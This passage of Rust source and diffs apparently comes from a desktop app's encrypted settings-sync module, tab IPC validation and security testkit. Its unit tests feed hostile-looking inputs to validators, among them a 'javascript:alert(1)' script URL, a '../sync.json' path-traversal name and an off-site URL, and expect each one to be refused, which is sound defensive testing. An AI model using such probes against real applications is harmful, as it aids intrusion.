#[serde(rename_all = "camelCase")]
pub struct SnapshotInfo {
pub name: String,
pub device: String,
pub device_name: String,
pub created_at: u64,
pub size: u64,
}
/// A derived 32-byte key. Never serialized, never logged.
#[derive(Clone)]
pub struct Key([u8; 32]);
impl Key {
pub fn from_bytes(bytes: [u8; 32]) -> Self {
Self(bytes)
}
pub fn to_base64(&self) -> String {
B64.encode(self.0)
}
pub fn from_base64(text: &str) -> Option<Self> {
let bytes = B64.decode(text.trim()).ok()?;
Some(Self(bytes.try_into().ok()?))
}
}
impl std::fmt::Debug for Key {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str("Key(…)")
}
}
fn random<const N: usize>() -> Result<[u8; N], String> {
let mut bytes = [0u8; N];
getrandom::getrandom(&mut bytes).map_err(|_| "SYNC: no secure random source".to_string())?;
Ok(bytes)
}
pub fn derive_key(passphrase: &str, salt: &[u8], params: &KdfParams) -> Result<Key, String> {
if passphrase.chars().count() < MIN_PASSPHRASE {
return Err(format!("SYNC: the passphrase needs at least {MIN_PASSPHRASE} characters"));
}
let argon = Argon2::new(Algorithm::Argon2id, Version::V0x13, params.checked()?);
let mut out = [0u8; 32];
argon.hash_password_into(passphrase.as_bytes(), salt, &mut out).map_err(|_| "SYNC: key derivation failed".to_string())?;
Ok(Key(out))
}
pub fn seal(key: &Key, plaintext: &[u8], aad: &[u8]) -> Result<Sealed, String> {
let cipher = XChaCha20Poly1305::new((&key.0).into());
let nonce = random::<24>()?;
let ciphertext = cipher
.encrypt(XNonce::from_slice(&nonce), Payload { msg: plaintext, aad })
.map_err(|_| "SYNC: encryption failed".to_string())?;
Ok(Sealed { nonce: B64.encode(nonce), ciphertext: B64.encode(ciphertext) })
}
/// Fails for a wrong key, a changed header (associated data) or a changed ciphertext alike.
pub fn open(key: &Key, sealed: &Sealed, aad: &[u8]) -> Result<Vec<u8>, String> {
let nonce = B64.decode(&sealed.nonce).map_err(|_| "SYNC: damaged snapshot")?;
let ciphertext = B64.decode(&sealed.ciphertext).map_err(|_| "SYNC: damaged snapshot")?;
if nonce.len() != 24 {
return Err("SYNC: damaged snapshot".into());
}
XChaCha20Poly1305::new((&key.0).into())
.decrypt(XNonce::from_slice(&nonce), Payload { msg: &ciphertext, aad })
.map_err(|_| "SYNC: wrong passphrase or damaged snapshot".into())
}
fn meta_aad(params: &KdfParams, salt: &str) -> Vec<u8> {
format!("{FORMAT}|{VERSION}|meta|argon2id|{}|{}|{}|{salt}", params.memory_kib, params.iterations, params.parallelism).into_bytes()
}
fn snapshot_aad(device: &str, device_name: &str, created_at: u64) -> Vec<u8> {
format!("{FORMAT}|{VERSION}|snapshot|{device}|{created_at}|{device_name}").into_bytes()
}
/// The sync folder inside the folder the owner picked.
pub fn sync_dir(chosen: &Path) -> PathBuf {
chosen.join(FOLDER_NAME)
}
pub fn read_meta(dir: &Path) -> Result<Option<SyncMeta>, String> {
let path = dir.join(META_FILE);
let Ok(raw) = fs::read(&path) else { return Ok(None) };
if raw.len() > 64 * 1024 {
return Err("SYNC: sync.json is too large".into());
}
let meta: SyncMeta = serde_json::from_slice(&raw).map_err(|_| "SYNC: sync.json is not a wayBetter sync file")?;
if meta.format != FORMAT || meta.version != VERSION || meta.kdf != "argon2id" || meta.cipher != "xchacha20poly1305" {
return Err("SYNC: this sync folder was made by an unknown version".into());
}
Ok(Some(meta))
}
/// Unlocks an existing sync folder, or sets one up (new salt, new check value) when it has none.
/// Returns the key and whether the folder was created now.
pub fn unlock_or_create(dir: &Path, passphrase: &str, params: KdfParams) -> Result<(Key, bool), String> {
if let Some(meta) = read_meta(dir)? {
let salt = B64.decode(&meta.salt).map_err(|_| "SYNC: damaged sync.json")?;
let key = derive_key(passphrase, &salt, &meta.params)?;
let check = open(&key, &meta.check, &meta_aad(&meta.params, &meta.salt)).map_err(|_| "SYNC: wrong passphrase for this sync folder".to_string())?;
if check != CHECK_PLAINTEXT {
return Err("SYNC: wrong passphrase for this sync folder".into());
}
return Ok((key, false));
}
let salt = random::<16>()?;
let salt_text = B64.encode(salt);
let key = derive_key(passphrase, &salt, &params)?;
let check = seal(&key, CHECK_PLAINTEXT, &meta_aad(&params, &salt_text))?;
let meta = SyncMeta {
format: FORMAT.into(),
version: VERSION,
kdf: "argon2id".into(),
params,
salt: salt_text,
cipher: "xchacha20poly1305".into(),
check,
};
fs::create_dir_all(dir.join(SNAPSHOT_DIR)).map_err(|error| format!("SYNC: {error}"))?;
write_atomic(&dir.join(META_FILE), &serde_json::to_vec_pretty(&meta).map_err(|_| "SYNC: serialization failed")?)?;
Ok((key, true))
}
/// Checks a remembered key against the folder's check value (the folder may have been reset).
pub fn key_matches(dir: &Path, key: &Key) -> bool {
matches!(read_meta(dir), Ok(Some(meta)) if open(key, &meta.check, &meta_aad(&meta.params, &meta.salt)).is_ok_and(|check| check == CHECK_PLAINTEXT))
}
fn write_atomic(path: &Path, bytes: &[u8]) -> Result<(), String> {
let temp = path.with_extension("partial");
fs::write(&temp, bytes).map_err(|error| format!("SYNC: {error}"))?;
fs::rename(&temp, path).map_err(|error| {
let _ = fs::remove_file(&temp);
format!("SYNC: {error}")
})
}
pub fn valid_device(device: &str) -> bool {
device.len() == 16 && device.bytes().all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase())
}
/// A new random device id (16 lowercase hex characters).
pub fn new_device_id() -> Result<String, String> {
Ok(random::<8>()?.iter().map(|byte| format!("{byte:02x}")).collect())
}
fn clean_device_name(name: &str) -> String {
let name: String = name.chars().filter(|ch| !ch.is_control()).take(40).collect();
let name = name.trim();
if name.is_empty() { "This computer".into() } else { name.into() }
}
fn snapshot_name(created_at: u64, device: &str) -> String {
format!("{created_at:013}-{device}{SNAPSHOT_SUFFIX}")
}
fn parse_name(name: &str) -> Option<(u64, String)> {
let stem = name.strip_suffix(SNAPSHOT_SUFFIX)?;
let (time, device) = stem.split_once('-')?;
if time.len() != 13 || !time.bytes().all(|b| b.is_ascii_digit()) || !valid_device(device) {
return None;
}
Some((time.parse().ok()?, device.to_owned()))
}
/// Seals `plaintext` into a new snapshot of `device` and deletes this device's oldest snapshots
/// beyond [`KEEP_PER_DEVICE`]. Returns the new snapshot's name.
pub fn write_snapshot(dir: &Path, key: &Key, device: &str, device_name: &str, created_at: u64, plaintext: &[u8]) -> Result<String, String> {
if !valid_device(device) {
return Err("SYNC: invalid device id".into());
}
if plaintext.len() > MAX_PLAINTEXT {
return Err("SYNC: the settings are too large to sync".into());
}
if !key_matches(dir, key) {
return Err("SYNC: the sync folder's passphrase changed; unlock it again".into());
}
let device_name = clean_device_name(device_name);
let sealed = seal(key, plaintext, &snapshot_aad(device, &device_name, created_at))?;
let snapshot = Snapshot { format: FORMAT.into(), version: VERSION, device: device.into(), device_name, created_at, sealed };
let folder = dir.join(SNAPSHOT_DIR);
fs::create_dir_all(&folder).map_err(|error| format!("SYNC: {error}"))?;
let name = snapshot_name(created_at, device);
write_atomic(&folder.join(&name), &serde_json::to_vec(&snapshot).map_err(|_| "SYNC: serialization failed")?)?;
prune(dir, device, KEEP_PER_DEVICE);
Ok(name)
}
/// Deletes all but the newest `keep` snapshots of `device` (never another device's).
pub fn prune(dir: &Path, device: &str, keep: usize) {
let mut own: Vec<SnapshotInfo> = list(dir).into_iter().filter(|info| info.device == device).collect();
own.sort_by(|a, b| b.created_at.cmp(&a.created_at));
for old in own.into_iter().skip(keep) {
let _ = fs::remove_file(dir.join(SNAPSHOT_DIR).join(old.name));
}
}
/// Snapshots in the folder, newest first. Reads only file names and the public header.
pub fn list(dir: &Path) -> Vec<SnapshotInfo> {
let Ok(entries) = fs::read_dir(dir.join(SNAPSHOT_DIR)) else { return Vec::new() };
let mut out: Vec<SnapshotInfo> = Vec::new();
for entry in entries.flatten() {
let Some(name) = entry.file_name().to_str().map(str::to_owned) else { continue };
let Some((created_at, device)) = parse_name(&name) else { continue };
let size = entry.metadata().map(|meta| meta.len()).unwrap_or(0);
if size == 0 || size as usize > MAX_PLAINTEXT * 2 {
continue;
}
// The device's display name is in the header; files are small enough to read once.
let device_name = fs::read(entry.path())
.ok()
.and_then(|raw| serde_json::from_slice::<Snapshot>(&raw).ok())
.filter(|snapshot| snapshot.device == device && snapshot.created_at == created_at)
.map(|snapshot| clean_device_name(&snapshot.device_name));
let Some(device_name) = device_name else { continue };
out.push(SnapshotInfo { name, device, device_name, created_at, size });
}
out.sort_by(|a, b| b.created_at.cmp(&a.created_at).then(a.name.cmp(&b.name)));
out
}
/// The newest snapshot written by another device after `after` (ms), if any.
pub fn newer_from_others(dir: &Path, device: &str, after: u64) -> Option<SnapshotInfo> {
list(dir).into_iter().find(|info| info.device != device && info.created_at > after)
}
/// What a snapshot holds: the settings sections as canonical JSON (sorted keys, so equal settings
/// give equal bytes), never drafts, with secret-looking keys removed.
pub fn settings_plaintext(sections: &serde_json::Map<String, serde_json::Value>) -> Vec<u8> {
let mut value = serde_json::Value::Object(sections.clone());
if let Some(map) = value.as_object_mut() {
map.remove("drafts");
}
crate::backup::strip_secrets(&mut value);
serde_json::to_vec(&value).unwrap_or_default()
}
/// Opens snapshot `name` (a bare file name from [`list`]).
pub fn read_snapshot(dir: &Path, key: &Key, name: &str) -> Result<(SnapshotInfo, Vec<u8>), String> {
let (created_at, device) = parse_name(name).ok_or("SYNC: invalid snapshot name")?;
let path = dir.join(SNAPSHOT_DIR).join(name);
let raw = fs::read(&path).map_err(|_| "SYNC: snapshot not found")?;
if raw.len() > MAX_PLAINTEXT * 2 {
return Err("SYNC: snapshot is too large".into());
}
let snapshot: Snapshot = serde_json::from_slice(&raw).map_err(|_| "SYNC: damaged snapshot")?;
if snapshot.format != FORMAT || snapshot.version != VERSION || snapshot.device != device || snapshot.created_at != created_at {
return Err("SYNC: damaged snapshot".into());
}
let plaintext = open(key, &snapshot.sealed, &snapshot_aad(&snapshot.device, &snapshot.device_name, snapshot.created_at))?;
let info = SnapshotInfo { name: name.into(), device, device_name: clean_device_name(&snapshot.device_name), created_at, size: raw.len() as u64 };
Ok((info, plaintext))
}
#[cfg(test)]
mod tests {
use super::*;
/// Cheap parameters so debug-build tests stay fast (production uses the defaults).
const FAST: KdfParams = KdfParams { memory_kib: 8 * 1024, iterations: 1, parallelism: 1 };
#[test]
fn snapshots_never_carry_drafts_or_secrets_and_are_canonical() {
let sections: serde_json::Map<String, serde_json::Value> = serde_json::from_str(
r#"{ "settings": { "restoreTabs": true, "homeUrl": "https://x.com/home" }, "drafts": { "drafts": [{ "kind": "post", "text": "private" }] }, "accounts": { "authToken": "t" } }"#,
)
.unwrap();
let text = String::from_utf8(settings_plaintext(&sections)).unwrap();
assert!(!text.contains("private") && !text.contains("drafts") && !text.contains("authToken"));
assert_eq!(text, r#"{"accounts":{},"settings":{"homeUrl":"https://x.com/home","restoreTabs":true}}"#);
}
#[test]
fn crypto_round_trip_and_wrong_passphrase_fails() {
let key = derive_key("correct horse battery", b"0123456789abcdef", &FAST).unwrap();
let sealed = seal(&key, b"{\"themes\":1}", b"header").unwrap();
assert_eq!(open(&key, &sealed, b"header").unwrap(), b"{\"themes\":1}");
let wrong = derive_key("correct horse battery!", b"0123456789abcdef", &FAST).unwrap();
assert!(open(&wrong, &sealed, b"header").is_err(), "wrong passphrase");
assert!(open(&key, &sealed, b"other header").is_err(), "changed associated data");
let mut tampered = sealed.clone();
let mut bytes = B64.decode(&tampered.ciphertext).unwrap();
bytes[0] ^= 1;
tampered.ciphertext = B64.encode(bytes);
assert!(open(&key, &tampered, b"header").is_err(), "changed ciphertext");
// Fresh nonce every time: the same plaintext never seals to the same bytes.
assert_ne!(seal(&key, b"x", b"").unwrap(), seal(&key, b"x", b"").unwrap());
assert!(derive_key("short", b"0123456789abcdef", &FAST).is_err());
assert!(format!("{key:?}") == "Key(…)", "keys never print");
}
#[test]
fn folder_setup_unlock_and_wrong_passphrase_refused() {
let root = tempfile::tempdir().unwrap();
let dir = sync_dir(root.path());
let (key, created) = unlock_or_create(&dir, "a long passphrase", FAST).unwrap();
assert!(created);
let meta = std::fs::read_to_string(dir.join(META_FILE)).unwrap();
assert!(!meta.contains("a long passphrase") && !meta.contains(&key.to_base64()), "sync.json holds no secret");
let (again, created) = unlock_or_create(&dir, "a long passphrase", FAST).unwrap();
assert!(!created);
assert_eq!(again.to_base64(), key.to_base64(), "same salt, same key on every machine");
let error = unlock_or_create(&dir, "another passphrase", FAST).unwrap_err();
assert!(error.contains("wrong passphrase"), "{error}");
// A hostile sync.json cannot ask for absurd costs.
let mut hostile: SyncMeta = serde_json::from_str(&meta).unwrap();
hostile.params.memory_kib = 64 * 1024 * 1024;
std::fs::write(dir.join(META_FILE), serde_json::to_vec(&hostile).unwrap()).unwrap();
assert!(unlock_or_create(&dir, "a long passphrase", FAST).unwrap_err().contains("unsupported"));
}
#[test]
fn snapshots_are_versioned_per_device_and_pulled_only_when_newer_elsewhere() {
let root = tempfile::tempdir().unwrap();
let dir = sync_dir(root.path());
let (key, _) = unlock_or_create(&dir, "a long passphrase", FAST).unwrap();
let (laptop, desktop) = ("0123456789abcdef", "fedcba9876543210");
for n in 0..(KEEP_PER_DEVICE as u64 + 3) {
write_snapshot(&dir, &key, laptop, "Laptop", 1_700_000_000_000 + n, format!("v{n}").as_bytes()).unwrap();
}
assert_eq!(list(&dir).len(), KEEP_PER_DEVICE, "old snapshots of this device are pruned");
let name = write_snapshot(&dir, &key, desktop, "Desk\u{7}top", 1_800_000_000_000, b"from desktop").unwrap();
assert_eq!(list(&dir).len(), KEEP_PER_DEVICE + 1, "another device's snapshots are kept");
let newer = newer_from_others(&dir, laptop, 0).unwrap();
assert_eq!((newer.name.as_str(), newer.device_name.as_str()), (name.as_str(), "Desktop"));
assert!(newer_from_others(&dir, laptop, 1_800_000_000_000).is_none(), "already pulled");
assert!(newer_from_others(&dir, desktop, 1_800_000_000_000).is_none(), "own snapshots are never offered");
let (info, plaintext) = read_snapshot(&dir, &key, &name).unwrap();
assert_eq!((info.device.as_str(), plaintext.as_slice()), (desktop, b"from desktop".as_slice()));
let wrong = derive_key("wrong passphrase!", b"0123456789abcdef", &FAST).unwrap();
assert!(read_snapshot(&dir, &wrong, &name).is_err());
assert!(write_snapshot(&dir, &wrong, laptop, "Laptop", 1_900_000_000_000, b"x").is_err(), "never writes with a key the folder does not accept");
assert!(read_snapshot(&dir, &key, "../sync.json").is_err());
// A snapshot whose header was edited (e.g. renamed device) no longer opens.
let path = dir.join(SNAPSHOT_DIR).join(&name);
let edited = std::fs::read_to_string(&path).unwrap().replace("Desktop", "Evil");
std::fs::write(&path, edited).unwrap();
assert!(read_snapshot(&dir, &key, &name).is_err());
}
}

View file

@ -2,6 +2,7 @@
//! Everything a tab page sends is validated here before it reaches the shell.
use serde::{Deserialize, Serialize};
use std::collections::BTreeMap;
use url::Url;
/// Shell events emitted by the host.
@ -34,6 +35,18 @@ pub struct TabLayout {
/// Another site pane of the same account already shows the site's navigation rail.
#[serde(default)]
pub nav_redundant: bool,
/// An ordinary pane, or a Power User Mode deck column (the page hides the site chrome itself).
#[serde(default)]
pub role: TabRole,
}
/// What a tab webview is in the shell's layout.
#[derive(Clone, Copy, Debug, Default, Deserialize, Serialize, PartialEq, Eq)]
#[serde(rename_all = "lowercase")]
pub enum TabRole {
#[default]
Pane,
Column,
}
fn default_profile() -> String {
@ -55,6 +68,15 @@ pub struct TabState {
pub favicon: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub focused: Option<bool>,
/// A deck column's unread count (capped at [`MAX_UNREAD`]); only ever a number about this tab.
#[serde(skip_serializing_if = "Option::is_none")]
pub unread: Option<u16>,
/// The language the site's own UI is in (its `<html lang>`), a validated tag; site tabs only.
#[serde(skip_serializing_if = "Option::is_none")]
pub lang: Option<String>,
/// Site content reached its first meaningful paint (sent only by participating apps).
#[serde(skip_serializing_if = "Option::is_none")]
pub content_ready: Option<bool>,
}
impl TabState {
@ -72,10 +94,21 @@ impl TabState {
}),
focused,
loading: None,
unread: None,
lang: None,
content_ready: None,
}
}
}
/// Unread counts shown on deck column headers are capped here ("999+").
pub const MAX_UNREAD: u16 = 999;
/// A reported unread count, capped at [`MAX_UNREAD`].
pub fn cap_unread(count: u64) -> u16 {
count.min(MAX_UNREAD as u64) as u16
}
/// A new-window request from a tab that the shell opens as a tab or a pane (`tab-open`).
#[derive(Clone, Serialize, Debug)]
#[serde(rename_all = "camelCase")]
@ -119,10 +152,13 @@ pub fn new_window_mode<'a>(on_site: bool, site_mode: &'a str, external_mode: &'a
}
}
/// Browser shortcuts a tab may forward to the shell while it has keyboard focus.
pub const SHORTCUTS: [&str; 15] = [
/// Browser shortcuts a tab may forward to the shell while it has keyboard focus. The `column-*` and
/// `deck-*` names are Power User Mode keys (deck columns forward them; the shell acts on its deck).
pub const SHORTCUTS: &[&str] = &[
"command-palette", "new-tab", "close-tab", "reopen-tab", "focus-address", "next-tab", "prev-tab", "reload",
"back", "forward", "split-right", "split-down", "open-panel", "find", "hard-reload",
"column-prev", "column-next", "column-1", "column-2", "column-3", "column-4", "column-5", "column-6", "column-7",
"column-8", "column-9", "column-page-prev", "column-page-next", "column-mark-read", "deck-compose", "deck-toggle",
];
pub fn valid_shortcut(shortcut: &str) -> bool {
@ -181,6 +217,87 @@ pub fn memory_target(visible: bool, parked: bool) -> MemoryTarget {
}
}
/// Power User Mode: what the shell may tell a deck column's page (`column_configure`, shell-only).
/// Everything is data for the page runtime's column module (hide site chrome, density, filters,
/// unread tracking); nothing here can make the page request or act.
#[derive(Clone, Debug, Deserialize, Serialize, PartialEq)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct ColumnConfig {
/// The column's own page; must be on the site.
pub url: String,
/// Source kind (site-defined), e.g. "home" or "search".
pub kind: String,
pub density: String,
#[serde(default)]
pub filters: ColumnFilters,
/// Per-column feature flags over the global ones; names must be allow-listed by the app.
#[serde(default)]
pub flags: BTreeMap<String, bool>,
#[serde(default = "yes")]
pub unread: bool,
#[serde(default)]
pub read_seq: u32,
#[serde(default)]
pub jump_seq: u32,
}
fn yes() -> bool {
true
}
#[derive(Clone, Debug, Default, Deserialize, Serialize, PartialEq)]
#[serde(rename_all = "camelCase", deny_unknown_fields)]
pub struct ColumnFilters {
#[serde(default)]
pub terms: Vec<String>,
#[serde(default)]
pub hide_replies: bool,
#[serde(default)]
pub hide_reposts: bool,
#[serde(default)]
pub media_only: bool,
}
pub const MAX_COLUMN_TERMS: usize = 32;
pub const MAX_COLUMN_TERM_CHARS: usize = 200;
pub const MAX_COLUMN_FLAGS: usize = 16;
impl ColumnConfig {
/// Bounds every field: the URL is exactly on the site, at most 32 filter terms of at most 200
/// characters without control characters, known densities, allow-listed flags only.
pub fn validated(mut self, site: &crate::site::SiteSpec, allowed_flags: &[&str]) -> Result<Self, String> {
if self.url.len() > 2048 {
return Err("VALIDATION: column URL too long".into());
}
let url = parse_web_url(&self.url)?;
if !site.is_origin(&url) {
return Err("VALIDATION: a column shows a page of the site".into());
}
self.url = url.to_string();
if self.kind.is_empty()
|| self.kind.len() > 24
|| !self.kind.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
{
return Err("VALIDATION: invalid column kind".into());
}
if !matches!(self.density.as_str(), "compact" | "comfortable") {
return Err("VALIDATION: invalid column density".into());
}
if self.filters.terms.len() > MAX_COLUMN_TERMS {
return Err("VALIDATION: too many column filters".into());
}
for term in &self.filters.terms {
if term.trim().is_empty() || term.chars().count() > MAX_COLUMN_TERM_CHARS || term.chars().any(char::is_control) {
return Err("VALIDATION: invalid column filter".into());
}
}
if self.flags.len() > MAX_COLUMN_FLAGS || self.flags.keys().any(|key| !allowed_flags.contains(&key.as_str())) {
return Err("VALIDATION: column flag not allowed".into());
}
Ok(self)
}
}
/// Hands a JSON value to a member of the page runtime: `window.<global>.<member>.<method>(value)`
/// when the runtime exists, else parked in `window.<queue>` for the runtime to pick up at start.
/// `json` must be serialized JSON (never page-supplied text).
@ -253,7 +370,64 @@ mod tests {
#[test]
fn layouts_default_to_the_default_profile() {
let layout: TabLayout = serde_json::from_str(r#"{"id":"a","url":"https://a.test/","x":0,"y":0,"width":1,"height":1,"visible":true}"#).unwrap();
assert_eq!((layout.profile.as_str(), layout.nav_redundant), ("default", false));
assert_eq!((layout.profile.as_str(), layout.nav_redundant, layout.role), ("default", false, TabRole::Pane));
let column: TabLayout =
serde_json::from_str(r#"{"id":"a","url":"https://a.test/","x":0,"y":0,"width":1,"height":1,"visible":true,"role":"column"}"#).unwrap();
assert_eq!(column.role, TabRole::Column);
assert!(serde_json::from_str::<TabLayout>(r#"{"id":"a","url":"u","x":0,"y":0,"width":1,"height":1,"visible":true,"role":"popup"}"#).is_err());
}
#[test]
fn deck_shortcuts_are_known_and_unread_is_capped() {
for name in [
"column-prev", "column-next", "column-1", "column-9", "column-page-prev", "column-page-next", "column-mark-read", "deck-compose",
"deck-toggle",
] {
assert!(valid_shortcut(name), "{name}");
}
assert!(!valid_shortcut("column-10") && !valid_shortcut("column-0") && !valid_shortcut("deck-post"));
assert_eq!((cap_unread(0), cap_unread(12), cap_unread(999), cap_unread(1_000_000)), (0, 12, 999, 999));
let state = TabState { id: "a".into(), unread: Some(3), ..Default::default() };
assert_eq!(serde_json::to_value(state).unwrap(), serde_json::json!({ "id": "a", "unread": 3 }));
}
fn column(json: serde_json::Value) -> Result<ColumnConfig, String> {
serde_json::from_value::<ColumnConfig>(json)
.map_err(|error| error.to_string())?
.validated(&crate::site::testing::SITE, &["autoplayOff", "hideAds"])
}
#[test]
fn column_config_is_bounded() {
let base = serde_json::json!({ "url": "https://x.com/home", "kind": "home", "density": "compact" });
let ok = column(base.clone()).unwrap();
assert!(ok.unread && ok.filters.terms.is_empty() && ok.read_seq == 0);
let full = serde_json::json!({
"url": "https://x.com/search?q=a&f=live", "kind": "search", "density": "comfortable",
"filters": { "terms": ["gm", "/^rt\\b/i"], "hideReplies": true, "hideReposts": false, "mediaOnly": true },
"flags": { "autoplayOff": true, "hideAds": false }, "unread": false, "readSeq": 4, "jumpSeq": 1
});
let full = column(full).unwrap();
assert_eq!((full.filters.terms.len(), full.flags.len(), full.unread, full.read_seq), (2, 2, false, 4));
let with = |key: &str, value: serde_json::Value| {
let mut json = base.clone();
json[key] = value;
column(json)
};
assert!(with("url", "https://evil.test/home".into()).is_err(), "other sites");
assert!(with("url", "javascript:alert(1)".into()).is_err());
assert!(with("url", format!("https://x.com/{}", "a".repeat(2100)).into()).is_err());
assert!(with("kind", "Home!".into()).is_err());
assert!(with("density", "tiny".into()).is_err());
assert!(with("flags", serde_json::json!({ "evalScript": true })).is_err(), "flags are allow-listed");
assert!(with("flags", serde_json::json!({ "autoplayOff": "yes" })).is_err());
assert!(with("filters", serde_json::json!({ "terms": vec!["t"; 33] })).is_err(), "at most 32 terms");
assert!(with("filters", serde_json::json!({ "terms": ["x".repeat(201)] })).is_err(), "at most 200 characters");
assert!(with("filters", serde_json::json!({ "terms": ["ok".repeat(100)] })).is_ok(), "exactly 200 is fine");
assert!(with("filters", serde_json::json!({ "terms": ["a\nb"] })).is_err(), "no control characters");
assert!(with("filters", serde_json::json!({ "terms": [" "] })).is_err());
assert!(with("filters", serde_json::json!({ "script": "x" })).is_err(), "unknown fields");
assert!(with("extra", true.into()).is_err(), "unknown fields");
}
#[test]

View file

@ -0,0 +1,239 @@
//! Security assertions for an app's own tests (`tests/security.rs`): who may call which command,
//! read from the app's capability files, and whether a command checks its caller first.
//!
//! ```ignore
//! use waybetter_host::testkit::Capabilities;
//! let caps = Capabilities::from_dir(concat!(env!("CARGO_MANIFEST_DIR"), "/capabilities"));
//! caps.assert_host_commands(); // the host's shell-only / tab-only commands
//! caps.assert_shell_only("draft_list"); // the app's own
//! caps.assert_tab_only("tab_report");
//! waybetter_host::testkit::assert_guarded(include_str!("../src/desktop.rs"), "draft_list", "shell_only(&webview)?");
//! ```
//!
//! A capability counts as the shell's when its webviews are exactly `["shell"]`, it is `local` and
//! has no `remote`; as a tab's when its webviews are exactly `["tab-*"]` and it is not `local`.
//! Anything else granting a command fails both checks.
use crate::commands;
use crate::policy::SHELL_LABEL;
use serde_json::Value;
use std::path::Path;
/// One capability file: its name (for messages) and its JSON.
#[derive(Clone, Debug)]
pub struct Capability {
pub file: String,
pub json: Value,
}
impl Capability {
pub fn identifier(&self) -> &str {
self.json["identifier"].as_str().unwrap_or(&self.file)
}
/// The permissions it grants, as strings (`allow-tabs-sync`, `core:event:default`, ...).
pub fn permissions(&self) -> Vec<String> {
self.json["permissions"]
.as_array()
.map(|list| list.iter().filter_map(|p| p.as_str().map(str::to_owned)).collect())
.unwrap_or_default()
}
fn webviews(&self) -> Vec<&str> {
self.json["webviews"].as_array().map(|list| list.iter().filter_map(Value::as_str).collect()).unwrap_or_default()
}
/// The local `shell` webview and nothing else.
pub fn is_shell(&self) -> bool {
self.webviews() == [SHELL_LABEL] && self.json["local"] == Value::Bool(true) && self.json.get("remote").is_none()
}
/// Tab webviews (`tab-*`) and nothing else, never local pages.
pub fn is_tab(&self) -> bool {
self.webviews() == ["tab-*"] && self.json["local"] == Value::Bool(false)
}
}
/// An app's capability files.
#[derive(Clone, Debug)]
pub struct Capabilities(pub Vec<Capability>);
impl Capabilities {
/// Every `*.json` in `dir` (the app's `capabilities` folder), so a new file is checked too.
pub fn from_dir(dir: impl AsRef<Path>) -> Self {
let dir = dir.as_ref();
let mut files: Vec<_> = std::fs::read_dir(dir)
.unwrap_or_else(|error| panic!("capabilities folder {}: {error}", dir.display()))
.filter_map(Result::ok)
.map(|entry| entry.path())
.filter(|path| path.extension().is_some_and(|ext| ext == "json"))
.collect();
files.sort();
assert!(!files.is_empty(), "no capability files in {}", dir.display());
Self(
files
.into_iter()
.map(|path| {
let text = std::fs::read_to_string(&path).unwrap_or_else(|error| panic!("{}: {error}", path.display()));
let file = path.file_name().unwrap_or_default().to_string_lossy().into_owned();
Self::parse(file, &text)
})
.collect(),
)
}
/// Capability files given as `(name, json)` (e.g. from `include_str!`).
pub fn from_sources(sources: &[(&str, &str)]) -> Self {
Self(sources.iter().map(|(file, text)| Self::parse((*file).to_owned(), text)).collect())
}
fn parse(file: String, text: &str) -> Capability {
let json = serde_json::from_str(text).unwrap_or_else(|error| panic!("{file}: invalid JSON: {error}"));
Capability { file, json }
}
/// The capability with this identifier.
pub fn get(&self, identifier: &str) -> &Capability {
self.0
.iter()
.find(|cap| cap.identifier() == identifier)
.unwrap_or_else(|| panic!("no capability {identifier:?}"))
}
/// The capabilities granting `permission`.
pub fn granting(&self, permission: &str) -> Vec<&Capability> {
self.0.iter().filter(|cap| cap.permissions().iter().any(|p| p == permission)).collect()
}
/// `command` is granted, and only to the local shell webview.
pub fn assert_shell_only(&self, command: &str) {
let permission = commands::permission(command);
let granting = self.granting(&permission);
assert!(granting.iter().any(|cap| cap.is_shell()), "the shell lacks {permission}");
for cap in granting {
assert!(cap.is_shell(), "{permission} is shell-only, but capability {:?} ({}) grants it", cap.identifier(), cap.file);
}
}
/// `command` is granted, and only to tab webviews (never the shell or another local page).
pub fn assert_tab_only(&self, command: &str) {
let permission = commands::permission(command);
let granting = self.granting(&permission);
assert!(!granting.is_empty(), "no tab capability grants {permission}");
for cap in granting {
assert!(cap.is_tab(), "{permission} is tab-only, but capability {:?} ({}) grants it", cap.identifier(), cap.file);
}
}
/// `command` is granted to no capability at all.
pub fn assert_not_granted(&self, command: &str) {
let permission = commands::permission(command);
let granting: Vec<_> = self.granting(&permission).iter().map(|cap| cap.identifier().to_owned()).collect();
assert!(granting.is_empty(), "{permission} is granted by {granting:?}");
}
/// The host's commands ([`commands::SHELL`], [`commands::TAB`]) keep their callers.
pub fn assert_host_commands(&self) {
for command in commands::SHELL {
self.assert_shell_only(command);
}
for command in commands::TAB {
self.assert_tab_only(command);
}
}
/// No capability exposes these Tauri plugins' JS APIs (`updater`, `process`, ...): only Rust
/// drives them.
pub fn assert_no_plugin_apis(&self, plugins: &[&str]) {
for cap in &self.0 {
for permission in cap.permissions() {
assert!(
!plugins.iter().any(|plugin| permission.starts_with(&format!("{plugin}:"))),
"capability {:?} exposes a plugin API: {permission}",
cap.identifier()
);
}
}
}
}
/// The first statement of function `function` in `source` contains `guard` (e.g.
/// `shell_only(&webview)?`): the command checks its caller before it does anything else.
pub fn assert_guarded(source: &str, function: &str, guard: &str) {
let at = source
.find(&format!("fn {function}("))
.unwrap_or_else(|| panic!("no function {function} in the given source"));
let body = &source[at..];
let body = &body[body.find('{').unwrap_or_else(|| panic!("{function} has no body")) + 1..];
let first = &body[..body.find(';').unwrap_or(body.len())];
assert!(first.contains(guard), "{function} must check `{guard}` first, starts with: {}", first.trim());
}
/// The host's own command wrappers check their caller first (shell-only: `shell_only`, tab-only:
/// `tab_only`). Runs against the host's source, so an app's tests re-check the version it builds with.
pub fn assert_host_guards() {
let source = include_str!("app.rs");
for command in commands::SHELL {
assert_guarded(source, command, "shell_only(&webview)?");
}
for command in commands::TAB {
assert_guarded(source, command, "tab_only(&webview)?");
}
}
#[cfg(test)]
mod tests {
use super::*;
fn caps(shell_extra: &str, tab_extra: &str) -> Capabilities {
let host_shell: Vec<String> = commands::SHELL.iter().map(|c| format!("\"{}\"", commands::permission(c))).collect();
let host_tab: Vec<String> = commands::TAB.iter().map(|c| format!("\"{}\"", commands::permission(c))).collect();
let shell = format!(
r#"{{"identifier":"shell","webviews":["shell"],"local":true,"permissions":["core:event:default",{}{shell_extra}]}}"#,
host_shell.join(",")
);
let tab = format!(
r#"{{"identifier":"tab-chrome","webviews":["tab-*"],"local":false,"remote":{{"urls":["https://*/*"]}},"permissions":[{}{tab_extra}]}}"#,
